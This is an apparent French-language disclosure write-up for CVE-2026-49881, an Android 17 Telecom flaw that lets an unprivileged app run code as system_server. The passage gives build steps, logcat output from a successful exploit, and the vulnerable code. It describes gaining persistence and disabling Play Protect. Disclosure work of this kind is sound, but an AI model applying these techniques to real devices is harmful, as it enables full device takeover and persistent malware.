
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
Ceci est un PoC et un writeup pour CVE-2026-49881, un problème logique dans la classe InCallController du service Telecom d'Android 17 qui permet à une application non privilégiée d'obtenir une exécution de code arbitraire en tant que UID 1000 system_server sans aucune interaction supplémentaire de l'utilisateur. Nous montrons également ici que l'exécution de code dans system_server peut encore être facilement adaptée pour obtenir une persistance, même sur les versions modernes d'Android.
J'ai signalé cette vulnérabilité à l'équipe de sécurité Android le 2026-04-10, elle a été confirmée le 2026-05-06, et elle a été corrigée dans le bulletin de sécurité Android de septembre 2026. (voir ici pour le patch)
Au moment du signalement, elle n'affectait activement que les builds Pixel à partir d'Android 16 QPR3 (ainsi que les builds bêta 17) à ma connaissance, mais elle s'est ensuite propagée à la version stable AOSP d'Android 17.
Pour vous protéger de ce problème, assurez-vous d'installer la mise à jour du système Google Play ainsi que le correctif de sécurité système. (Telecom est un composant mainline depuis Android 17)
system_server en utilisant la vulnérabilité, journalise id et la trace de pile dans logcat, et se réinstalle en tant que composant system_server.build.sh inclus. Sinon, vous pouvez exécuter manuellement ./gradlew assembleSystemRelease, déplacer le app-system-release.apk résultant vers app/src/poc/assets/system.apk, puis exécuter ./gradlew assemblePocRelease.system_server désactive également Play Protect en définissant package_verifier_user_consent à -1 dans Settings.Global car il peut parfois intercepter la transaction de réinstallation en raison de signatures inconnues. Vous devez le réactiver dans les Paramètres après les tests.system_server pourrait nécessiter une personnalisation par OEM car elle repose sur la traversée de la structure PMS en utilisant des symboles que les OEM modifient parfois.La sortie logcat attendue du PoC est :
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
C'est une vulnérabilité inhabituellement directe. Chaque fois que certaines actions liées à Telecom se produisent, InCallController tente de découvrir les services disponibles via getInCallServiceComponents. Cela se déclenche naturellement lorsqu'un appel est enregistré auprès du système, mais une application peut en réalité le déclencher à la demande également grâce à l'API d'appels transactionnels TelecomManager.addCall. (note : c'est ce que le bouton Start Exploit du PoC utilise) Cette API nécessite MANAGE_OWN_CALLS, mais c'est une permission normale et invisible pour l'utilisateur, accordée automatiquement lors de l'installation.
Cette énumération est implémentée sur les versions vulnérables comme :
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;